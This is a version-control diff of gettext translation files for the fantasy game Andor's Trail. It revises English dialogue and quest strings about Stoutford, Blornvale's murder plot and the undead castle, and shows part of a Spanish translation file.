#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26404,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26815,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +26991,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27142,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27168,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27372,7 +27301,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27309,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27319,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27416,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27569,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27588,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27601,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27736,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27776,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27812,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27836,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27857,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27881,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27977,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28067,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28103,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28426,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28438,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28458,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28968,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28984,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29002,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29022,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29034,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29226,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr ""
@@ -31286,10 +31146,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31202,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31362,10 +31214,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36214,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36246,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36254,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36270,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36830,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36850,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36861,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36869,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36886,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36982,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37708,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37716,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38123,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38140,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

View File

@@ -1,3 +1,40 @@
# Spanish translation for andors-trail
# Copyright (c) 2013 Rosetta Contributors and Canonical Ltd 2013
# This file is distributed under the same license as the andors-trail package.
# FIRST AUTHOR <EMAIL@ADDRESS>, 2013.
# Julian Lamus <Unknown>, 2014.
#
msgid ""
msgstr ""
"Project-Id-Version: andors-trail\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2013-11-10 11:48+0000\n"
"PO-Revision-Date: 2018-08-10 07:43+0000\n"
"Last-Translator: Carmen <carmen.ortega.sabater.cos@gmail.com>\n"
"Language-Team: Spanish <https://hosted.weblate.org/projects/andors-trail/"
"game-content/es/>\n"
"Language: es\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.2-dev\n"
"X-Launchpad-Export-Date: 2015-11-02 12:26+0000\n"
#: [none]
msgid "translator-credits"
msgstr ""
"Launchpad Contributions:\n"
" (K´)ah https://launchpad.net/~necro-vampire\n"
" Julian Lamus https://launchpad.net/~lamusj\n"
" Karla https://launchpad.net/~aryak\n"
" Mariano Agüero https://launchpad.net/~nero1000000\n"
" Miguel de Dios https://launchpad.net/~tres-14159\n"
" Travis Nguyen https://launchpad.net/~travisn\n"
" ndika https://launchpad.net/~partet\n"
" willicab https://launchpad.net/~cabrerawilliam\n"
"Carlos Duque https://launchpad.net/~hamperfait"
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr "Bendecir"
@@ -371,7 +408,7 @@ msgstr ""
#: conversationlist_guynmart2_npc.json:guynmart_child_90:0
#: conversationlist_stoutford_combined.json:stoutford_widow_roots30_2:0
msgid "You're welcome."
msgstr "Eres bienvenido."
msgstr ""
#: conversationlist_mikhail.json:mikhail_rats_start
msgid "I saw some rats out back in our garden earlier. Could you please go kill any rats that you see out there."
@@ -2890,7 +2927,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4682,7 +4719,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5620,7 +5657,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr "¿Y ahora, qué?"
@@ -6811,7 +6848,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr "¿Hay algo que pueda hacer para ayudar?"
@@ -7790,7 +7826,7 @@ msgstr "Oh si, tuvimos suerte de encontrarte. Verás, rara vez viajamos tan lejo
#: conversationlist_blackwater_harlenn.json:harlenn_6
msgid "We spend most of our time in the settlement up here on the mountain."
msgstr "[REVIEW]La mayoría de las veces, la pasamos aquí en el asentamiento o aquí arriba en la montaña."
msgstr "La mayoría de las veces, la pasamos aquí en el asentamiento o aquí arriba en la montaña."
#: conversationlist_blackwater_harlenn.json:harlenn_7
msgid "However, recent events have forced us to send for help. We are lucky you found us."
@@ -9487,7 +9523,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9644,7 +9680,7 @@ msgid "Depends on what I get in return."
msgstr "Depende de lo que obtenga de vuelta."
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr "Trato de ayudar a la gente donde puedan necesitar ayuda."
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9682,7 +9718,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr "Hace tiempo, hice negocios con un hombre llamado Tinlyn, por aquí en la caseta de vigilancia de Crossroads."
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr "Como la naturaleza de nuestros negocios, realmente no puedo decirte. Digamos que nuestro negocio era del tipo que era de beneficio mutuo que los guardias no sabían nada."
#: conversationlist_benbyr.json:benbyr_story_6
@@ -17478,7 +17514,7 @@ msgstr "¡Muchísimas gracias por encontrar a nuestra gente desaparecida!"
#: conversationlist_charwood1.json:khorailla1:1
msgid "Please sell me some of your famous Cheddar cheese."
msgstr ""
msgstr "Eres bienvenido."
#: conversationlist_charwood1.json:khorailla2
msgid "It's not much, but I have some food if you'd like."
@@ -21600,7 +21636,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21885,6 +21920,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21897,12 +21938,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22392,10 +22427,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22421,11 +22452,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22437,7 +22468,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22447,12 +22478,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
